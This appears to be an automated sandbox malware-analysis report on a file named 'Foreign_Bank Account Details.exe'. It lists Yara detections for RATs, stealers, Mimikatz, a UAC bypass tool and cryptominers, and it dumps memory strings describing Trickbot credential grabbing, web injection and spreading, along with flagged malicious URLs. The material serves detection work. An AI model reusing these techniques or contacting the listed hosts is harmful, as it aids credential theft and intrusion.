        Source: MpSigStub.exe.3992.35.memstrminMalware Configuration Extractor: CryLock {"Extensions": "dpost cal ed, module handle c:\\temp\\co kies.log WantRele !Trickbot.AAA!sms !Trickbotpw.A!mod Grab_Passwords_Chrome(0) Grab_Passwords_Chrome() success Grab_Passwords_Chrome(): Can't open database \\Google\\Chrome\\User Data\\Default\\Login Data.bak [Reflection.Assembly]::LoadFile(\"$binpath\\KeePass.exe\") Write-warning \"Unable Load KeePass Binarys\" Internet Explorer Internet Explorer] !Trickbotem.A!mod Grabbed %s from Inbox Grabbed %s from Contacts Error hiding Outlook from the taskbar Hide Outlook from system tray StartOutlook(): before hide c:\\temp\\mail.log StartOutlook(): ShellExecuteW() %S %S StartOutlook(): ShellExecuteW() %S %S] !TrickBot.I!MTB !TrickBot.J!MTB XYXEQX8dMYWKgX8KMNQpqCL \tgMofH.dll !Control !ControlFreeBufferReleaseStart !TrickBot.K!MTB Xvaultcli.dll SysListView32 atl.dll SRVDATA.dll NetServerStart NetServerStop JSRVDATA.dllControlFreeBufferNetServerStartNetServerStopReleaseStart !Trickbot.V!ibt +VC20XC00U Trojan:Win64/TrickInj.A!MTB inj_64.dll [INIT] Inj = %u [INIT] BC = %u [INIT] Proxy = %u #pgid# #pgid#] !TrickBot.A!ibt \\rdpscan.pdb Control ControlFreeBufferReleaseStart] TrojanDownloader:O97M/Emotet.QAZ!MTB $TrojanDownloader:O97M/Emotet.QAZ!MTB TrojanDownloader:O97M/Emotet.RAA!MTB $TrojanDownloader:O97M/Emotet.RAA!MTB TrojanDownloader:O97M/Emotet.RAB!MTB $TrojanDownloader:O97M/Emotet.RAB!MTB !Trickbotspr.A!mod CmainSpreader::init() CreateThread, error code %i CmainSpreader::init() CreateEvent, error code %i WormShare lsass.exe End of Romance spreader with module handle 0x%08X is started spreader with module handle 0x%08X is started] !TrickInj.B!MTB inj_32.dll #gid# /QConnection !EmotetCrypt.MR!MTB Trojan:Win64/Trickbot.SS!MTB dllor.dll bEjvvgF7zLSVe7I SKe1E7e1BJnWQG 0qjqOSdonoe2dLUW !ControlFreeBufferReleaseStart] TrojanDownloader:O97M/IcedID.YJ!MTB #TrojanDownloader:O97M/IcedID.YJ!MTB !Trickbot.PN!MSR rdpscan.dll rdpscan.pdb rdpscan.pdb] Behavior:Win32/Trickbot.A!sms !Trickbot.A!sms !Trickbot.B!ibt \\webinject32.pdb \\webinject62.pdb ControlFreeBufferReleaseStart WebInject build %s %s (%s) starting STATIC FAKE rebuild= Injection failure process pid = CheckAndInjectExplorer(): CreateToolhelp32Snapshot(): Chrome is zombie Starting and injecting chrome [INJECT] inject_via_remotethread_wow64 [INJECT] inject_via_remotethread_wow64] !Trickbot.N grab_passwords_chrome() )from logins where blacklisted_by_user = 0 \\default\\login data.bak mimikatz] !Trickbot.O [reflection.assembly]::loadfile(\" \\keepass.exe\") MTIzNA==; cXdlcg==; MTIzNA==; cXdlcg==;] !TrickbotVP.A!MTB vpnDll build %s %s started VPN bridge failure 11:43 vpnDll.dll WantRelease RasGetConnectStatusA] !Azurlt!MTB U29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cVW5pbnN0YWxs SetEnvironmentVariableW CreateProcessAsUserW GlobalMemoryStatus SEFSRFdBUkVcREVTQ1JJUFRJT05cU3lzdGVtXENlbnRyYWxQcm9jZXNzb3JcMA== GDIScreenShot CryptReleaseContext CryptUnprotectData PVAULT_CRED8 Process32NextW uFileFinderU uIE7_decodeU ShellExecuteExW GetL
        Yara detected PredatorShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected RevengeRATShow sources
        Source: Yara matchFile source: 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected PonyShow sources
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Multi AV Scanner detection for submitted fileShow sources
        Source: Foreign_Bank Account Details.exeReversingLabs: Detection: 33%
        Yara detected NjratShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18293045113.0000015B1BC4D000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected AveMaria stealerShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Multi AV Scanner detection for domain / URLShow sources
        Source: http://www.bonusesfound.ml/update/index.phpVirustotal: Detection: 13%Perma Link
        Source: http://110.42.4.180:Virustotal: Detection: 13%Perma Link
        Source: 35.3.MpSigStub.exe.15b1aab7177.152.unpackAvira: Label: TR/Crypt.ZPACK.Gen
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpackAvira: Label: TR/Crypt.ZPACK.Gen
        Source: 35.3.MpSigStub.exe.15b1aab4af5.151.unpackAvira: Label: TR/Crypt.ZPACK.Gen
        Source: 35.3.MpSigStub.exe.15b1bc6cad6.47.unpackAvira: Label: TR/Patched.Ren.Gen2
        Source: 35.3.MpSigStub.exe.15b1a70f33e.138.unpackAvira: Label: TR/Crypt.ZPACK.Gen
        Source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpackAvira: Label: TR/Crypt.ZPACK.Gen
        Source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpackAvira: Label: TR/Crypt.ZPACK.Gen

        Location Tracking:

        barindex
        Yara detected HancitorShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D26ED10 CryptUnprotectData,
        Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 8_2_1D26F3A1 CryptUnprotectData,
        Source: C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\MpSigStub.exeCode function: 42_2_00007FF650D4C1C4 CreateDirectoryW,FreeLibrary,DecryptFileW,FreeLibrary,FreeLibrary,
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpBinary or memory string: -----BEGIN PUBLIC KEY-----

        Exploits:

        barindex
        Yara detected UACMe UAC Bypass toolShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b887722.80.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18291855169.0000015B1B8B1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR

        Privilege Escalation:

        barindex
        Detected Hacktool MimikatzShow sources
        Source: MpSigStub.exe, 00000023.00000003.18325905490.0000015B1AC98000.00000004.00000001.sdmpString found in binary or memory: blog.gentilkiwi.com/mimikatz

        Bitcoin Miner:

        barindex
        Yara detected Xmrig cryptocurrency minerShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb541e6.101.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b78484d.88.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a7b2b8a.201.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c2da78e.186.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb549ea.103.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bca02c1.48.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c2d858a.187.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a7b1586.200.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b785121.89.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc8ebc5.50.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.15.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c22da.163.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc91019.49.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.70.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb551ee.102.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b785a75.90.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c2da78e.83.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.71.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c2d858a.84.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.72.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c22da.69.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.166.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a70f33e.138.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bbe6ede.24.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.164.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bb8fa9d.13.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.165.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18324883471.0000015B1B176000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18323536692.0000015B1B176000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18347582446.0000015B1B490000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18283369164.0000015B1BBD8000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18348306594.0000015B1B176000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18282376211.0000015B1C133000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18287592963.0000015B1BBD8000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18305659214.0000015B1C39B000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18310362275.0000015B1B490000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected Coinhive minerShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1aba7f01.191.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b53329f.120.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b41327e.91.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a4a33ed.106.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bde4c13.118.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c2da78e.186.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1aac7d52.155.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1aab7177.152.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1ac33b5a.193.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c2d858a.187.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1aac714e.153.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1ac33b5a.146.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1ac33b5a.206.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.70.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b41327e.91.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1abe8b36.144.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1aab4af5.151.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1aba58ad.190.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a4a0d99.105.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1ac33b5a.217.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.210.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1aac654a.154.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.61.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c2da78e.83.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.71.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1c2d858a.84.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.72.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1b4cce16.92.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c67ca.166.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a8daa72.66.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a70f33e.138.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c7264.164.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1a6c6d17.165.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.25.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1beda3cf.131.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bc1013a.56.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18283887577.0000015B1A84E000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18336077687.0000015B1BE5C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18339192227.0000015B1C094000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18285899877.0000015B1B2C2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18299514362.0000015B1AF02000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18304386604.0000015B1A404000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18411185064.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18352105294.0000015B1AC31000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18312369918.0000015B1C094000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18299055991.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18341085023.0000015B1C4A2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18403655888.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18409201535.0000015B1B281000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18410667523.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18324208366.0000015B1BE5C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18311556427.0000015B1BE5C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18307459590.0000015B1A504000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18337113449.0000015B1BB10000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18329511287.0000015B1AC31000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18402637724.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18328153087.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18417425467.0000015B1B2B1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18418037701.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18418460951.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18340382300.0000015B1BB10000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18418909373.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18332249196.0000015B1A914000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18343459823.0000015B1AC31000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18306567757.0000015B1C2D4000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18411594732.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18317647190.0000015B1B61C000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18305228496.0000015B1B858000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18403089371.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18316329497.0000015B1A504000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18301965811.0000015B1AEB4000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18335934182.0000015B1B858000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18331852304.0000015B1A84E000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: 00000023.00000003.18411989385.0000015B1B2C1000.00000004.00000001.sdmp, type: MEMORY
        Source: Yara matchFile source: Process Memory Space: MpSigStub.exe PID: 3992, type: MEMORYSTR
        Yara detected BitCoin MinerShow sources
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bf2fb91.211.raw.unpack, type: UNPACKEDPE
        Source: Yara matchFile source: 35.3.MpSigStub.exe.15b1bf2fb91.132.raw.unpack, type: UNPACKEDPE
